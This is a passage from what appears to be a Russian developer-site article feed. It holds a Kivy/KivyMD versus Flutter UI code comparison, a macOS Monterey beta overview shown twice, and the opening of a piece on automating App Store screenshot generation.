BorderRadius.circular(30),                    boxShadow: [                      BoxShadow(                        color: Colors.black.withOpacity(0.4),                        blurRadius: 5,                        offset: Offset(0, 3),                      ),                    ],                  ),                  child: ClipRRect(                    borderRadius: BorderRadius.circular(30),                    child: Image.network(                      widget.avatar,                      fit: BoxFit.cover,                      width: 60,                      height: 60,                    ),                  ),                ),              ),            ),          if (widget.avatar != null)            Positioned.fill(              child: Align(                alignment: Alignment.bottomCenter,                child: Row(                  children: [                    Expanded(                      child: Container(                        padding: const EdgeInsets.all(15),                        decoration: BoxDecoration(                          borderRadius: BorderRadius.circular(30),                          gradient: LinearGradient(                            begin: Alignment.topCenter,                            end: Alignment.bottomCenter,                            colors: [                              Colors.transparent,                              Colors.black,                            ],                          ),                        ),                        child: widget.name != null ? Text(                          widget.name,                          textAlign: TextAlign.center,                          maxLines: 1,                          overflow: TextOverflow.ellipsis,                          style: TextStyle(                            color: Colors.white,                            fontWeight: FontWeight.bold,                          ),                        ) : SizedBox(),                      ),                    ),                  ],                ),              ),            ),        ],      ),    );  }}

Как видим, код на Python и KV-Language получается вдвое короче. Исходный код проекта на Python/Kivy, который рассматривается в этой статье, имеет общий размер 31 килобайт. 3 килобайта из этого объема приходится на Python код, остальное KV-Language. Исходный код на Flutter 54 килобайт. Впрочем, здесь удивляться, кажется, нечему Python один их самый лаконичных языков программирования в мире.

Мы не будем спорить о том, что лучше: описывать UI при помощи DSL языков или прямо в коде. В Kivy, кстати, также можно строить виджеты Python кодом, но это не очень хорошее решение.

TopBar


Flutter:

Kivy:

Реализация этого бара, включая анимацию, на Python/Kivy заняла всего 88 строчек кода. На Dart/Flutter 325 строк и 9 килобайт на диске. Посмотрим, что представляет из себя этот виджет:


Лого, три таба, аватар, три таба и один таб кнопка настроек. Реализация таба с анимированным индикатором:



Анимация индикатора и смена типа курсора мыши реализована в Python файле в одноименном с правилом разметки классе:

from kivy.animation import Animationfrom kivy.properties import StringProperty, BooleanPropertyfrom kivy.core.window import Windowfrom kivymd.uix.boxlayout import MDBoxLayoutfrom kivymd.uix.behaviors import FocusBehaviorclass Tab(FocusBehavior, MDBoxLayout):    icon = StringProperty()    active = BooleanProperty(False)    def on_enter(self):        Window.set_system_cursor("hand")    def on_leave(self):        Window.set_system_cursor("arrow")    def on_active(self, instance, value):        Animation(            opacity=value,            width=self.width if value else 0,            d=0.25,            t="in_sine" if value else "out_sine",        ).start(self.ids.separator)

Мы просто анимируем ширину и opacity индикатора в зависимости от состояния кнопки (active). Состояние кнопки устанавливается в главном классе экрана приложения:

class FacebookDesktop(ThemableBehavior, MDScreen):    def set_active_tab(self, instance_tab):        for widget in self.ids.tab_box.children:            if issubclass(widget.__class__, MDBoxLayout):                if widget == instance_tab:                    widget.active = True                else:                    widget.active = False

Подробнее об анимации а Kivy:

Материальный дизайн. Создание анимаций в Kivy
Разработка мобильных приложений на Python. Создание анимаций в Kivy. Part 2

Реализация на Dart/Flutter.

Поскольку кода очень много, я спрятал все под спойлеры:

app_logo.dart
import 'package:flutter/material.dart';import 'package:flutter/widgets.dart';class AppLogo extends StatelessWidget {  @override  Widget build(BuildContext context) {    return Container(      decoration: BoxDecoration(        borderRadius: BorderRadius.circular(10),        boxShadow: [          BoxShadow(            color: Colors.blue.withOpacity(.6),            blurRadius: 5,            spreadRadius: 1,          ),        ],      ),      child: ClipRRect(        borderRadius: BorderRadius.circular(10),        child: Image.asset(          'assets/images/facebook_logo.jpg',          width: 30,          height: 30,        ),      ),    );  }}


avatar.dart
import 'package:flutter/material.dart';import 'package:flutter/rendering.dart';import 'package:flutter/widgets.dart';class TopBarAvatar extends StatefulWidget {  @override  _TopBarAvatarState createState() => _TopBarAvatarState();}class _TopBarAvatarState extends State<TopBarAvatar>    with SingleTickerProviderStateMixin {  Animation<Color> _animation;  AnimationController _animationController;  @override  void initState() {    _animationController = AnimationController(      vsync: this,      duration: Duration(milliseconds: 150),    );    _animation = ColorTween(      begin: Colors.grey.withOpacity(.4),      end: Colors.blue.withOpacity(.6),    ).animate(_animationController);    _animation.addListener(() {      setState(() {});    });    super.initState();  }  @override  Widget build(BuildContext context) {    return MouseRegion(      onHover: (event) {        setState(() {          _animationController.forward();        });      },      onExit: (event) {        setState(() {          _animationController.reverse();        });      },      cursor: SystemMouseCursors.click,      child: Padding(        padding: const EdgeInsets.symmetric(horizontal: 15),        child: Container(          decoration: BoxDecoration(            borderRadius: BorderRadius.circular(15),            boxShadow: [              BoxShadow(                color: _animation.value,                blurRadius: 10,                spreadRadius: 0,              ),            ],          ),          child: ClipRRect(            borderRadius: BorderRadius.circular(15),            child: Image.asset(              'assets/images/avatar.jpg',              width: 50,              height: 50,            ),          ),        ),      ),    );  }}


button.dart
import 'package:flutter/material.dart';import 'package:flutter/rendering.dart';import 'package:flutter/widgets.dart';class TopBarButton extends StatefulWidget {  final IconData icon;  final bool isActive;  final Function onTap;  const TopBarButton({    Key key,    this.icon,    this.isActive = false,    this.onTap,  }) : super(key: key);  @override  _TopBarButtonState createState() => _TopBarButtonState();}class _TopBarButtonState extends State<TopBarButton>    with SingleTickerProviderStateMixin {  Animation<Color> _animation;  AnimationController _animationController;  @override  void initState() {    _animationController = AnimationController(      vsync: this,      duration: Duration(milliseconds: 150),    );    _animation = ColorTween(      begin: Colors.grey.withOpacity(.6),      end: Colors.blue.withOpacity(.6),    ).animate(_animationController);    _animation.addListener(() {      setState(() {});    });    super.initState();  }  @override  void didUpdateWidget(TopBarButton oldWidget) {    if (widget.isActive) {      _animationController.forward();    } else {      _animationController.reverse();    }    super.didUpdateWidget(oldWidget);  }  @override  Widget build(BuildContext context) {    return GestureDetector(      onTap: widget.onTap,      child: MouseRegion(        cursor: SystemMouseCursors.click,        child: Container(          height: 80,          child: Stack(            alignment: Alignment.center,            children: [              Padding(                padding: const EdgeInsets.symmetric(horizontal: 30),                child: Icon(                  widget.icon,                  color: _animation.value,                ),              ),              Positioned(                bottom: -1,                child: Align(                  alignment: Alignment.bottomCenter,                  child: AnimatedContainer(                    duration: Duration(milliseconds: 50),                    curve: Curves.easeInOut,                    decoration: BoxDecoration(                      color: _animation.value,                      borderRadius: BorderRadius.circular(5),                      boxShadow: [                        BoxShadow(                          color: _animation.value,                          blurRadius: 5,                          offset: Offset(0, 2),                        ),                      ],                    ),                    width: widget.isActive ? 50 : 0,                    height: 4,                  ),                ),              ),            ],          ),        ),      ),    );  }  @override  void dispose() {    _animationController.dispose();    super.dispose();  }}


widget.dart
import 'package:facebook_desktop/screens/home/components/top_bar/app_logo.dart';import 'package:facebook_desktop/screens/home/components/top_bar/avatar.dart';import 'package:facebook_desktop/screens/home/components/top_bar/button.dart';import 'package:flutter/material.dart';import 'package:flutter/widgets.dart';import 'package:flutter_feather_icons/flutter_feather_icons.dart';class TopBar extends StatefulWidget {  @override  _TopBarState createState() => _TopBarState();}class _TopBarState extends State<TopBar> {  int _selectedPage = 0;  @override  Widget build(BuildContext context) {    return Container(      color: Colors.white,      padding: const EdgeInsets.symmetric(        horizontal: 30,      ),      child: Row(        children: [          Expanded(            flex: 1,            child: Align(              alignment: Alignment.centerLeft,              child: AppLogo(),            ),          ),          Expanded(            flex: 6,            child: Row(              mainAxisAlignment: MainAxisAlignment.center,              children: [                TopBarButton(                  icon: FeatherIcons.home,                  isActive: _selectedPage == 0,                  onTap: () {                    setState(() {                      _selectedPage = 0;                    });                  },                ),                TopBarButton(                  icon: FeatherIcons.youtube,                  isActive: _selectedPage == 1,                  onTap: () {                    setState(() {                      _selectedPage = 1;                    });                  },                ),                TopBarButton(                  icon: FeatherIcons.grid,                  isActive: _selectedPage == 2,                  onTap: () {                    setState(() {                      _selectedPage = 2;                    });                  },                ),                TopBarAvatar(),                TopBarButton(                  icon: FeatherIcons.users,                  isActive: _selectedPage == 3,                  onTap: () {                    setState(() {                      _selectedPage = 3;                    });                  },                ),                TopBarButton(                  icon: FeatherIcons.zap,                  isActive: _selectedPage == 4,                  onTap: () {                    setState(() {                      _selectedPage = 4;                    });                  },                ),                TopBarButton(                  icon: FeatherIcons.smile,                  isActive: _selectedPage == 5,                  onTap: () {                    setState(() {                      _selectedPage = 5;                    });                  },                ),              ],            ),          ),          Expanded(            flex: 1,            child: Align(              alignment: Alignment.centerRight,              child: IconButton(                color: Colors.grey.withOpacity(.6),                icon: Icon(FeatherIcons.settings),                onPressed: () {},              ),            ),          ),        ],      ),    );  }}


ChatCard (Kivy, Flutter)

Анимация сдвига карточки происходит относительно родительского виджета (parent) при получении событий фокуса и анфокуса (on_enter, on_leave):

on_enter: Animation(x=root.parent.x + dp(12), d=0.4, t="out_cubic").start(root)on_leave: Animation(x=root.parent.x + dp(24), d=0.4, t="out_cubic").start(root)


И базовый класс Python:

from kivy.core.window import Windowfrom kivy.properties import StringPropertyfrom FacebookDesktop.components.cards.fake_card import FakeCardclass ChatCard(FakeCard):    avatar = StringProperty()    text = StringProperty()    name = StringProperty()    def on_enter(self):        Window.set_system_cursor("hand")    def on_leave(self):        Window.set_system_cursor("arrow")

Реализация Python/Kivy 60 строк кода, реализация Dart/Flutter 182 строки кода.

chat_card.dart
import 'package:ezanimation/ezanimation.dart';import 'package:facebook_desktop/components/user_tile.dart';import 'package:flutter/material.dart';import 'package:flutter/rendering.dart';import 'package:flutter_feather_icons/flutter_feather_icons.dart';class ChatCard extends StatefulWidget {  final String image;  final String name;  final String message;  final EdgeInsets padding;  const ChatCard({    Key key,    this.image,    this.name,    this.message,    this.padding,  }) : super(key: key);  @override  _ChatCardState createState() => _ChatCardState();}class _ChatCardState extends State<ChatCard> {  EzAnimation _animation;  @override  void initState() {    _animation = EzAnimation(      0.0,      -5.0,      Duration(milliseconds: 200),      curve: Curves.easeInOut,      context: context,    );    _animation.addListener(() {      setState(() {});    });    super.initState();  }  @override  Widget build(BuildContext context) {    return Transform.translate(      offset: Offset(_animation.value, 0),      child: MouseRegion(        cursor: SystemMouseCursors.click,        onEnter: (event) {          _animation.start();        },        onExit: (event) {          _animation.reverse();        },        child: Padding(          padding: widget.padding ?? const EdgeInsets.all(15),          child: Container(            width: 250,            padding: const EdgeInsets.all(15),            decoration: BoxDecoration(              color: Colors.white,              borderRadius: BorderRadius.circular(10),              boxShadow: [                BoxShadow(                  color: Colors.black.withOpacity(.1),                  blurRadius: 15,                  offset: Offset(0, 8),                ),              ],            ),            child: Column(              crossAxisAlignment: CrossAxisAlignment.start,              children: [                UserTile(                  name: widget.name,                  image: widget.image,                  trailing: Icon(                    FeatherIcons.messageSquare,                    color: Colors.blue,                    size: 14,                  ),                ),                SizedBox(                  height: 10,                ),                Text(                  widget.message,                  style: TextStyle(color: Colors.grey, fontSize: 12),                  maxLines: 3,                  overflow: TextOverflow.ellipsis,                ),              ],            ),          ),        ),      ),    );  }  @override  void dispose() {    _animation.dispose();    super.dispose();  }}


user_tile.dart
import 'package:facebook_desktop/screens/home/components/section.dart';import 'package:flutter/material.dart';class UserTile extends StatelessWidget {  final String name;  final String image;  final Widget trailing;  const UserTile({    Key key,    this.name,    this.image,    this.trailing,  }) : super(key: key);  @override  Widget build(BuildContext context) {    return Row(      crossAxisAlignment: CrossAxisAlignment.start,      children: [        Container(          margin: const EdgeInsets.only(right: 10),          decoration: BoxDecoration(            color: Colors.white,            borderRadius: BorderRadius.circular(10),            boxShadow: [              BoxShadow(                color: Colors.black.withOpacity(.1),                blurRadius: 5,                offset: Offset(0, 2),              ),            ],          ),          child: ClipRRect(            borderRadius: BorderRadius.circular(5),            child: Image(              image: NetworkImage(                image,              ),              fit: BoxFit.cover,              height: 50,              width: 50,            ),          ),        ),        Column(          crossAxisAlignment: CrossAxisAlignment.start,          children: [            SectionTitle(              title: name,            ),            SizedBox(              height: 5,            ),            Text(              '12 min ago',              style: TextStyle(color: Colors.grey),            ),          ],        ),        if (trailing != null)        Expanded(          child: Align(            alignment: Alignment.topRight,            child: trailing          ),        ),      ],    );  }}


Но не все так просто, как кажется. В процессе я обнаружил, что в библиотеке KivyMD отсутствуют кнопки с типом badge. В проекте на Flutter, кстати, тоже использовались кастомные кнопки. Поэтому для создания правой панели инструментов пришлось сделать такие кнопки самостоятельно.


Базовый Python класс:

from kivy.properties import StringPropertyfrom kivymd.uix.relativelayout import MDRelativeLayoutclass BadgeButton(MDRelativeLayout):    icon = StringProperty()    text = StringProperty()

И уже создать левую панель инструментов:



Даже учитывая, что мне пришлось создавать кастомные кнопки типа badge, код левой панели инструментов на Python/Kivy получился короче 58 строк кода, реализация на Dart/Flutter 97 строк.

button.dart
import 'package:flutter/material.dart';class LeftBarButton extends StatelessWidget {  final IconData icon;  final String badge;  const LeftBarButton({    Key key,    this.icon,    this.badge,  }) : super(key: key);  @override  Widget build(BuildContext context) {    return GestureDetector(      child: Stack(        children: [          Container(            padding: const EdgeInsets.all(10),            child: Icon(              icon,              color: Colors.grey.withOpacity(.6),            ),          ),          if (badge != null)            Positioned(              top: 5,              right: 2,              child: Container(                padding: const EdgeInsets.all(3),                decoration: BoxDecoration(                  borderRadius: BorderRadius.circular(100),                  color: Colors.blue,                ),                child: Text(                  badge,                  style: TextStyle(                    color: Colors.white,                    fontSize: 10,                  ),                ),              ),            )        ],      ),    );  }}


widget.dart
import 'package:facebook_desktop/screens/home/left_bar/button.dart';import 'package:flutter/material.dart';import 'package:flutter/widgets.dart';import 'package:flutter_feather_icons/flutter_feather_icons.dart';class LeftBar extends StatelessWidget {  @override  Widget build(BuildContext context) {    return Container(      margin: const EdgeInsets.all(30),      padding: const EdgeInsets.all(5),      decoration: BoxDecoration(        color: Colors.white,        borderRadius: BorderRadius.circular(50),        boxShadow: [          BoxShadow(            color: Colors.grey.withOpacity(.1),            blurRadius: 2,            offset: Offset(0, 4),          )        ],      ),      child: Column(        mainAxisSize: MainAxisSize.min,        children: [          LeftBarButton(            icon: FeatherIcons.mail,            badge: '10',          ),          SizedBox(            height: 5,          ),          LeftBarButton(            icon: FeatherIcons.search,          ),          SizedBox(            height: 5,          ),          LeftBarButton(            icon: FeatherIcons.bell,            badge: '20',          ),        ],      ),    );  }}


Безусловно я не умаляю достоинств фреймворка Flutter. Инструмент замечательный! Я всего лишь хотел показать Python разработчикам, что они могут делать те же самые вещи, что и во Flutter, но на их любимом языке программирования с помощью фреймворка Kivy и библиотеки KivyMD. Что касается мобильных платформ, то здесь стоит признать, что Flutter превосходит Kivy в скорости работы. Но это уже уже другая статья Ссылка на репозиторий проекта Facebook Desktop Redesign built with Flutter Desktop в реализации Python/Kivy/KivyMD.

Подробнее..

MacOS 12 Monterey новая ОС от Apple

15.06.2021 00:15:33 | Автор: admin

7го июня компания Apple провела свою ежегодную конференцию для разработчиков - WWDC (Worldwide Developers Conference), на которой, помимо всего, была представлена новая версия macOS - Monterey. Спустя некоторое время стала доступна бета-версия, про которую, сегодня, и пойдет речь.

Внимание! Мы ни коем образом не рекомендуем Вам устанавливать и использовать как основные бета версии операционных систем. В случае, если Вы таки решились на установку, Вы делаете это на свой страх и риск! Автор статьи не несёт никакой ответственности за возможные последствия.

Какие модели Mac поддерживаются macOS Monterey?

Полный список поддерживаемых моделей, опубликованный Apple на своём же сайте

  • iMac конца 2015 года или новее

  • iMac Pro 2017 года или новее

  • MacBook Air начала 2015 года или новее

  • MacBook Pro начала 2015 года или новее

  • Mac Pro конца 2013 года или новее

  • Mac mini конца 2014 года или новее

  • MacBook (12 дюймов) начала 2016 года или новее

Нововведения

Тут стоило бы начать с того, что большинство представленных на WWDC функций не будут работать на Mac с процессорами Intel. Скорее всего, это связано с тем, что в Mac на Intel отсутствует чип Neural Engine, выполняющий вычисления для машинного обучения. А вот в чём Apple реально огорчили, так это тем, что об этом банально не сказали на конференции.

Вот список всех нововведений, отсутствующих на Mac с Intel:

  • Функция Live Text, позволяющая взаимодействовать с текстом на фото.

  • Функция "Portait Mode" для FaceTime.

  • Text-to-speech для финского, датского, норвежского, шведского языка.

  • Interactive Glove в приложении Карты.

  • Непрерывная диктовка с клавиатуры.

  • "Прокачанные" карты Лондона, Сан-Франциско, Нью Йорка и Лос-Анджелеса.

Полный список нововведений можете прочитать тут (напомню, некоторые функции не работают на процессорах Intel)

Когда ждать релиз macOS Monterey?

Точная дата выхода релизной версии новой ОС неизвестна. Известно лишь то, что это будет осенью этого года.

В заключение

Безусловно, macOS Monterey уже имеет много полезных функций (чего стоит один Universal Control). Не исключено, что с новыми бета-версиями их количество может пополниться. Правда некоторые из них, как было описано выше, не работают на процессорах Intel, и вряд-ли когда-нибудь будут на них работать, Apple же нужно как-то продавать "маки" на M1, верно.

Пишите в комментах, что вы думаете о новой ОС от Apple. Также какие нововведения лично вы ожидали увидеть, но их так и не показали.

До скорого!

Подробнее..

Recovery mode macOS 12 Monterey новая ОС от Apple

15.06.2021 04:16:53 | Автор: admin

7го июня компания Apple провела свою ежегодную конференцию для разработчиков - WWDC (Worldwide Developers Conference), на которой, помимо всего, была представлена новая версия macOS - Monterey. Спустя некоторое время стала доступна бета-версия, про которую, сегодня, и пойдет речь.

Внимание! Мы ни коем образом не рекомендуем Вам устанавливать и использовать как основные бета версии операционных систем. В случае, если Вы таки решились на установку, Вы делаете это на свой страх и риск! Автор статьи не несёт никакой ответственности за возможные последствия.

Какие модели Mac поддерживаются macOS Monterey?

Полный список поддерживаемых моделей, опубликованный Apple на своём же сайте

  • iMac конца 2015 года или новее

  • iMac Pro 2017 года или новее

  • MacBook Air начала 2015 года или новее

  • MacBook Pro начала 2015 года или новее

  • Mac Pro конца 2013 года или новее

  • Mac mini конца 2014 года или новее

  • MacBook (12 дюймов) начала 2016 года или новее

Нововведения

Тут стоило бы начать с того, что большинство представленных на WWDC функций не будут работать на Mac с процессорами Intel. Скорее всего, это связано с тем, что в Mac на Intel отсутствует чип Neural Engine, выполняющий вычисления для машинного обучения. А вот в чём Apple реально огорчили, так это тем, что об этом банально не сказали на конференции.

Вот список всех нововведений, отсутствующих на Mac с Intel:

  • Функция Live Text, позволяющая взаимодействовать с текстом на фото.

  • Функция "Portait Mode" для FaceTime.

  • Text-to-speech для финского, датского, норвежского, шведского языка.

  • Interactive Glove в приложении Карты.

  • Непрерывная диктовка с клавиатуры.

  • "Прокачанные" карты Лондона, Сан-Франциско, Нью Йорка и Лос-Анджелеса.

Полный список нововведений можете прочитать тут (напомню, некоторые функции не работают на процессорах Intel)

Когда ждать релиз macOS Monterey?

Точная дата выхода релизной версии новой ОС неизвестна. Известно лишь то, что это будет осенью этого года.

В заключение

Безусловно, macOS Monterey уже имеет много полезных функций (чего стоит один Universal Control). Не исключено, что с новыми бета-версиями их количество может пополниться. Правда некоторые из них, как было описано выше, не работают на процессорах Intel, и вряд-ли когда-нибудь будут на них работать, Apple же нужно как-то продавать "маки" на M1, верно.

Пишите в комментах, что вы думаете о новой ОС от Apple. Также какие нововведения лично вы ожидали увидеть, но их так и не показали.

До скорого!

Подробнее..

Вкусовщина Я не могу работать на MacBook Pro 16

05.06.2021 00:21:43 | Автор: admin

Все нижеописанное не более чем вкусовщина и дело привычки, не для холивара, просто мое мнение по какой причине я не смог работать на MacBook. Учитывайте это не более чем вопль одного человека, так что вы можно просто потратить свои 5 минут жизни за прочтением данной заметки.

Я - простой разработчик, пишу на Java/Kotlin, бэкэнд. Ранее работал на Windows (было давно и не продолжительное время), потом пересел на Linux по ряду причин. Безвылазно на Linux 7 лет, вообщем с системой работал около 16. В один прекрасный день мне довелось устроиться в компанию, где Linux для пользователей не то чтобы под запретом, скорее просто нежелательно (читать с приставкой - крайне). Что из этого вышло....

Долгое время я был свободным человеком, почти без обязательств, и выбор на чем работать был только за мной, ну или за моим карманом и жадностью. Последний сетап был уж достаточно странным: Dell Precision 7540 (Xeon E-2286M, 48GB RAM, 2x512GB ssd m.2, 256GB SSD m.2, GF T2000), 2 монитора Dell p2418d, док станция Dell TB16, клавиатура Apple Magic Keyboard with numeric, мышь Apple Magic Mouse 2. Вообщем этакие набор кулл хацкера с комплексом ущербного мозга (ну может хоть сетап будет помогать писать гомнокод получше).

Конечно все это собиралось не за один день и покупалось на кровные с ебея и прочих мест всякими мутными схемами. До этого апгрейда я спокойно (ну насколько это можно) сидела на Fedora, но на этом железе начались дикие проблемы и пришлось установить Ubuntu, на которую был сертифицирован ноутбук (да, он еще и на RedHat сертифицирован, но там совсем беда). В общем настраивать все это дело было таким себе удовольствием, особенно клавиатуру и мышь (то установи, тут скрипты напиши), страшно было потом систему apt upgrade, про переустановку вообще молчу, но все же приходилось и каждый раз боль-страдания-красные-глаза-сатисфакция.

Мне очень нравилась по качеству клавиатура от Apple, пальцы летали на ней, когда все продавал даже думал оставить ее. Зато вот убунту меня иногда раздражала какими-либо проблемами: то блютуз глючит, то апдейт прилетит после которого кучка ошибок, ну а про переустановки я уже упоминал, благо заготовки были на такие случаи со временем. В трудные моменты я подумывал о смене своего Dell на MacBook. Мотивация была такая: этож тот же *nix, только стабильней, комфортабельней и вообще этожэппл.

В один прекрасный день я решил, что хватит работать удаленно и нужно уезжать из своего городка в цивилизацию. Распродал все, приехал в другой город, устроился в компанию и мне выдали MacBook 16 Pro. Думаю: вот оно походу пришло, что хотел, теперь-то я буду работать на нормальной системе и клава вроде такая же..... но не тут-то было.

Первые дни знакомства с маком меня уже огорчили, я понял что нужно привыкать к новой реалии, к новым хоткеям и новому софту (ну конечно oh-my-zsh там есть, но не им единым).

Оценил: Экран, тачпад, колонки. Эти компоненты просто вышка без всяких. Лучше пока еще не видел в ноутбуках.

Через пару дней уже завыл, так как хоткеи ну совсем не понимал, а вот эти Fn и ~..... ну ладно Fn, но ~ засунуть в такое интересное место + Enter: мизинец постоянно нажимал что угодно, но не Enter. Ну ладно думаю, привыкну... Прошла неделя, вроде даже научился печатать на этой клаве, но не Intelleji Idea. Да, я понимаю, что там другая раскладка, но вот я постоянно нажимал первое время Command + Q.... ну вы поняли что происходило и как печально было мое лицо.

Еще через время начал замечать, что чего-то не хватает и понял: открыть меню File я не могу, отобразить ветки Git тоже... Нужно значит что-то настраивать под себя, т.е. добавлять хоткеи. Ну ладно может быть и добавил бы, но вот беда, чтобы нажать условный F10, нужно нажать Fn, а делит... ну вы знаете как он устроен. Т.е. вместо 3 клавиш нужно нажимать 4, некоторые сочетания не просто выполнить даже если посещал пальцевую гимнастику (если такая есть). Молчу уже про конфликты некоторых хоткеев с системными. Но главный поинт такой, что вместо того, чтобы эффективно работать я должен воевать со своими пальцами и чудесными сочетаниями клавиш в виду отсутствия F, del, PgDown, PgUp и т.д.

Пробовал настроить софт, ну точнее пытался использовать привычные мне хоткеи переключения между вкладками браузера, максимизации экрана... плюнул, забросил эту идею.

Немного софта мне не хватило, но может плохо искал, потом в эту сторону ну совсем нечего сказать. Благо хоть докер есть и на том спасибо.

Вообщем какой я вывод сделал для себя: мак конечно крутая и качественная штука, но в моем кейсе похоже только для просмотра видео, прослушивания музыки, ну и пожалуй все.

Но как разработчик я себя чувствую лучше на Linux, правда вот клавиатуры (Apple Magic Keyboard with num pad) не хватает (хотя на моем текущем Honor-е клава по нажатию хороша), ну и тач бы еще маковский.

Подробнее..

MacOS и мистический minOS

24.12.2020 02:20:22 | Автор: admin

После трёхлетнего перерыва актуальная версия sView стала снова доступна на macOS. Релиз sView 20.08 обещал поддержку macOS 10.10+, но что-то пошло не так и несколько пользователей обратились со странной проблемой - системы macOS 10.13 и 10.14 отказались запускать приложение с сообщением о необходимости обновиться до macOS 10.15

Сказать, что ошибка меня озадачила - сильно преуменьшить степень моего негодования, ведь магическая цифра 10.15 нигде не фигурировала ни в скриптах сборки, ни в ресурсах sView! Более того, приложение лично было проверено на более старой версии системы, а именно - на macOS 10.10.

Немного предыстории. В далёком 2011 году вышла первая сборка sView для OS X 10.6 Snow Leopard, и шесть лет именно эта версия системы оставалась минимальным требованием для запуска sView. Поддержка относительно старых версий операционных систем даёт максимальный охват потенциальных пользователей, но требует дополнительных усилий.

Практика разработки Windows, Linux, Android и macOS приложений показывает, что предположения о том, что собранное приложение "вроде должно работать" на всех версиях систем периодически дают сбой, и проблемы совместимости всплывают самым неожиданным образом. В таких случаях возможность проверить работоспособность приложения на разных (в том числе самых старых, формально поддерживаемых) системах становится жизненно необходимой.

Однако старая версия OS X требует такого же старого устройства, так как установить систему на устройство, выпущенное позднее самой системы, зачастую не представляется возможным. Проблему могли бы решить средства виртуализации, однако в случае с macOS дела с ними обстоят не лучшим образом.

Также понадобится и подходящий сборочный инструментарий. В прошлом, сборка приложения для нужной версии OS X требовала наличия нужной версии SDK в XCode. Однако упаковка нескольких SDK в XCode существенно увеличивала размер установки и старые версии SDK быстро исключались из новых версий XCode, осложняя сборку приложений для старых систем.

Для обеспечения совместимости с OS X 10.6 Snow Leopard, приложение sView долгое время собиралось на OS X той же версии, предустановленной на старом MacBook. При этом несколько версий OS X было установлено на внешний жёсткий диск для тестирования.

К счастью, со временем разработчики Apple существенно улучшили инструментарий, внедрив версионизацию на уровне заголовочных файлов, опций компилятора и линковщика. Теперь, XCode поставляется всего с одной версией macOS SDK - с самой последней, - но приложение можно собрать с совместимостью с более старыми версиями macOS посредством:

  • переменной окружения MACOSX_DEPLOYMENT_TARGET
    (т.е., export MACOSX_DEPLOYMENT_TARGET=10.0);

  • или флага компилятора -mmacosx-version-min
    (т.е., EXTRA_CXXFLAGS += -mmacosx-version-min=10.0).

В случае CMake соответствующий параметр называется CMAKE_OSX_DEPLOYMENT, а у qmake - QMAKE_MACOSX_DEPLOYMENT_TARGET.

Настройки проекта в XCode 11 позволяют выбрать минимальной платформой даже OS X 10.6, но данный выбор приводит только к ошибкам при сборке и Hello World удалось собрать только при выборе 10.7 или версия новее. Впрочем, OS X 10.6 Snow Leopard вышла в далёком 2009 году - то есть одиннадцать лет назад, - и едва ли имеет активных пользователей. Какую же версию выбрать в качестве минимальной?

OS X 10.10 Yosemite была выпущена около 6 лет назад и на 6 релизов "старее" самой актуальной на данный момент macOS 11.0 Big Sur. Трудно представить пользователей более старой OS X с учётом агрессивной политики обновлений Apple. Помимо прочего, OS X 10.10 уже была установлена на моём старом MacBook - слишком старым для разработки, но ещё живом для проверки работоспособности собранного приложения.

В попытке обновить старичка mid-2010 MacBook выяснилось, что свежие версии macOS более не поддерживают такие устройства , а последней совместимой версией оказалась macOS 10.13 High Sierra выпущенная в 2017 году.
Таким образом, Apple лишила свой продукт программных обновлений спустя 7 лет! При этом магазин приложений Apple более не позволяет загрузить старые версии macOS - то есть и обновить OS X 10.10 до macOS 10.13 не получится обычным способом.

Для сборки sView на свежем инструментарии в Makefile проекта была прописана версия 10.10, а в Info.plist был указан параметр LSMinimumSystemVersion=10.0. Сама сборка была осуществлена на macOS 10.15, установленной на относительно свежем Mac mini 2018, и протестирована на макбуке с OS X 10.10 - приложение заработало и было опубликовано на сайте!

и тут, как снег на голову, пришли сообщения пользователей об ошибках запуска sView на версиях macOS, новеепротестированной. Вздор! Откуда система вообще могла взять цифру 10.15, если LSMinimumSystemVersion указывает на 10.10 - а это единственный ранее известный мне источник для подобных сообщений macOS об ошибках?

В слепую локализовать проблему не удавалось - поиски 10.15 в архиве с приложением и в сборочных скриптах ни к чему не привели. Поэтому было найдено временное подопытное устройство с macOS 10.13, выводящее такое же сообщение об ошибке. Удивительно, но запуск исполнительного файла sView из терминала происходил без всяких проблем и ошибок!

Эксперименты показали, что что-то не так непосредственно с исполнительным файлом sView, и в конце концов, утилита otool -l выявила источник проблемы:

Load command 9        cmd LC_BUILD_VERSION    cmdsize 32   platform macos        sdk 10.15      minos 10.15     ntools 1       tool ld    version 450.3

Информации о загадочном minos нашлось не много в интернете, но удалось выяснить, что данное поле появилось в заголовке бинарный файлов macOS относительно недавно. Но этого факта оказалось достаточно, чтобы ответить на первый вопрос - как так получилось, что более старая версия OS X 10.10 запускала sView без проблем, а новые macOS 10.13-10.14 выдавали ошибки? Да просто OS X 10.10 ничего не знает о существовании нового поля minos!

Оставался последний вопрос - где в процессе сборки приложения закралась ошибка? Изучение пакета sView выявило, что поле minos присутствовало только библиотеках и исполняемом файле самого проекта, но не в библиотеках FFmpeg, собранных схожим образом. То есть проблема была явно в Makefile проекта. Как оказалось,флаг -mmacosx-version-min передавался компилятору через переменную EXTRA_CXXFLAGS, но не передавался линковщику. Добавление флага в переменную EXTRA_LDFLAGS наконец-то решило проблему:

TARGET_OS_VERSION = 10.10EXTRA_CFLAGS   += -mmacosx-version-min=$(TARGET_OS_VERSION)EXTRA_CXXFLAGS += -mmacosx-version-min=$(TARGET_OS_VERSION)EXTRA_LDFLAGS  += -mmacosx-version-min=$(TARGET_OS_VERSION)

Оригинальная публикация на английском может быть найдена здесь.

Подробнее..

Recovery mode Наш Automator, или генерация снимков экрана для AppStore

19.03.2021 20:17:05 | Автор: admin

В один замечательный вечер мы с коллегой публиковали небольшое приложение в AppStore. Публикация приложения довольно-таки долгий процесс и состоит из множества этапов. Один из этапов - подготовка картинок для магазина приложений. Задача, на первый взгляд простая - запустить приложение в симуляторе и сделать снимок экрана приложения, а нужны экраны на шести языка, в нескольких размерах, с демонстрацией пяти разных состояния приложения. За часик можно было управиться просто делая снимки руками, при этом попивая кофе и обсуждая общие темы. Но мы же программисты и руками делать не наш метод. Надо автоматизировать процесс. Хоть мы и никогда такого не делали у нас получилось. Мы узнали как легко программно управлять приложениями MacOS. И написали AppleScript который управляет приложениями XCode и Simulator.

Постановка

Нужно сделать снимки экранов для публикации. Приложение на 6 языках, для iPhone и iPad. В магазине приложений пять слотов для снимков экрана - нам необходимо показать в этих слотах пять состояний приложения. Для разных устройств снимки экрана разные, в зависимости от разрешения. Для iPhone нужно два скриншота только вертикальных, а для iPad один, но в двух ориентациях.

Инструмент

Краткий поиск навел нас на Automator.

Запускаем.

